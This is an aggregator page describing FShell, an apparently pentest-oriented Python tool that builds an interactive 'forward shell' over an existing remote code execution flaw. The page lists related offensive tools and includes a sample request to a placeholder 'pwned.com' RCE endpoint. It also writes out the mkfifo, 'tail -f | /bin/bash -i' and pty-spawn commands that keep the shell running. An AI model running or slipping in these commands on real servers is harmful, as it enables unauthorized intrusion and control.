All Projects → Hypnoze57 → FShell

Hypnoze57 / FShell

Licence: other
My python3 implementation of a Forward Shell

Programming Languages

python
139335 projects - #7 most used programming language

Projects that are alternatives of or similar to FShell

woodpecker
Custom security distro for remote penetration testing
Stars: ✭ 45 (+87.5%)
Mutual labels:  pentest
HellgateLoader CSharp
Load shellcode via HELLGATE, Rewrite hellgate with .net framework for learning purpose.
Stars: ✭ 73 (+204.17%)
Mutual labels:  pentest
volana
🌒 Shell command obfuscation to avoid detection systems
Stars: ✭ 38 (+58.33%)
Mutual labels:  pentest
wafbypasser
No description or website provided.
Stars: ✭ 73 (+204.17%)
Mutual labels:  pentest
Spray365
Spray365 makes spraying Microsoft accounts (Office 365 / Azure AD) easy through its customizable two-step password spraying approach. The built-in execution plan features options that attempt to bypass Azure Smart Lockout and insecure conditional access policies.
Stars: ✭ 233 (+870.83%)
Mutual labels:  pentest
CVE-2021-41773 CVE-2021-42013
Apache HTTP Server 2.4.49, 2.4.50 - Path Traversal & RCE
Stars: ✭ 20 (-16.67%)
Mutual labels:  pentest
huntkit
Docker - Ubuntu with a bunch of PenTesting tools and wordlists
Stars: ✭ 51 (+112.5%)
Mutual labels:  pentest
Bifrost
Bifrost C2. Open-source post-exploitation using Discord API
Stars: ✭ 37 (+54.17%)
Mutual labels:  pentest
RPCScan
Tool to communicate with RPC services and check misconfigurations on NFS shares
Stars: ✭ 53 (+120.83%)
Mutual labels:  pentest
Pentest-Service-Enumeration
Suggests programs to run against services found during the enumeration phase of a Pentest
Stars: ✭ 80 (+233.33%)
Mutual labels:  pentest
useful
useful pentest note
Stars: ✭ 59 (+145.83%)
Mutual labels:  pentest
k8badusb
BadUSB Teensy downexec exploit support Windows & Linux / Windows Cmd & PowerShell addUser exploit
Stars: ✭ 32 (+33.33%)
Mutual labels:  pentest
haiti
🔑 Hash type identifier (CLI & lib)
Stars: ✭ 287 (+1095.83%)
Mutual labels:  pentest
project-black
Pentest/BugBounty progress control with scanning modules
Stars: ✭ 279 (+1062.5%)
Mutual labels:  pentest
juumla
🦁 Juumla is a python tool created to identify Joomla version, scan for vulnerabilities and search for config or backup files.
Stars: ✭ 107 (+345.83%)
Mutual labels:  pentest
PXXTF
Framework For Exploring kernel vulnerabilities, network vulnerabilities ✨
Stars: ✭ 23 (-4.17%)
Mutual labels:  pentest
PPN
Pentester's Promiscuous Notebook
Stars: ✭ 221 (+820.83%)
Mutual labels:  pentest
huginn
Programming language with no quirks, so simple every child can master it.
Stars: ✭ 41 (+70.83%)
Mutual labels:  interactive-shell
argus
Argus Advanced Remote & Local Keylogger For macOS and Windows
Stars: ✭ 87 (+262.5%)
Mutual labels:  pentest
1earn
ffffffff0x 团队维护的安全知识框架,内容包括不仅限于 web安全、工控安全、取证、应急、蓝队设施部署、后渗透、Linux安全、各类靶机writup
Stars: ✭ 3,715 (+15379.17%)
Mutual labels:  pentest

FShell

Description

FShell is my implementation of a Forward Shell. It's designed to get an interactive tty using remote code execution through a stageless protocol (eg HTTP).

Why I should use a forward shell ?

  • The remote server is not able to reach internet, no reverse shell possibility
  • I don't want the server initiate new outgoing connection or expose new service (only use vulnerable exposed service)

However, it also have disadvantage

  • Many requests per second (in case of a web server, it will generate many access log)
  • Not fully interactive: no auto-completion (this theoretically could be implemented but that will generate huge amount of requests), remember that your input is send to the python script then to the remote server.

The requests frequency can be changed modifying BEACONING_DELAY variable.

Requirements

On attacker machine

Python3 & lib:

  • requests
  • termcolor

On the target

Only Linux is supported at this time and required basic commands/tools on the remote system:

  • python2 (and pty module)
  • bash
  • mkfifo
  • cat
  • tail
  • ps
  • grep
  • awk
  • kill

Usage

Modify the WRITABLE_FOLDER variable if /tmp is not available for write or if you have something better (prefer /dev/shm)

You must redefine execute function to perform your remote code execution:

def execute(cmd, verbose=False, timeout=None):
    """
    :cmd      Raw shell command to execute on the remote system
    :timetout MANDATORY: Used to kill blocking execution loop (used in named pipe creation).
              If you cannot, put named pipe creation in separated thread
    :verbose  Print full cmd executed on the remote system (Debug mode)
    """
    # Put your RCE code here
    r = requests.get('http://pwned.com/rce.php?cmd=%s' % (b64encode(cmd)), timeout=timeout)
    return r.text.strip() # You can apply formating if the output is not only the output of command

Commands

  • help_shell: Print commands help
  • get_sessid: Print current session id on the remote server
  • upgrade_shell: Start remote pty using python to create interactive shell
  • exit_shell: Clear 'properly' the remote shell. If you're connected with another user than the first, please exit normally before.

Demo

FShell Demo

How it's working

The concepts are pretty simple.

First you need to create a named pipe on the remote system. It will be used to send command to the shell
mkfifo /tmp/input.

Then, create a bash loop that reading the named pipe constantly and send it to an interactive bash process that sending stdin & stderr to an output file.
tail -f /tmp/input | /bin/bash -i > /tmp/output 2>&1

[Reading named pipe] -> [Execute named pipe content] -> [Send stdin/stderr into output file] -> [Go to reading named pipe because of '-f' tail option]

Next part is to start a python thread that performing cat /tmp/output regularly to get the shell output.
If the thread find data, it will clear the output file content using echo '' > /tmp/output
Tips: In order to avoid error logging for a non-existing file, the script execute 'id' command before starting the 'GetOutput' thread to create the output file.

One of the last step is to get user input from our python script and send it to the named pipe
echo USERCMD > /tmp/input

And the final trick to back a remote interactive tty is the 'upgrade_shell' command. This command perform a python -c 'import pty;pty.spawn("/bin/bash")' (and some export and aliases) to spawn a real tty for the current process (used in named pipe loop)

Thanks

Thanks to @ippsec, I didn't knowing that something like this was possible before watching this videos Stratosphere HTB Write Up !

Hope you enjoy it!

Note that the project description data, including the texts, logos, images, and/or trademarks, for each open source project belongs to its rightful owner. If you wish to add or remove any projects, please contact us at [email protected].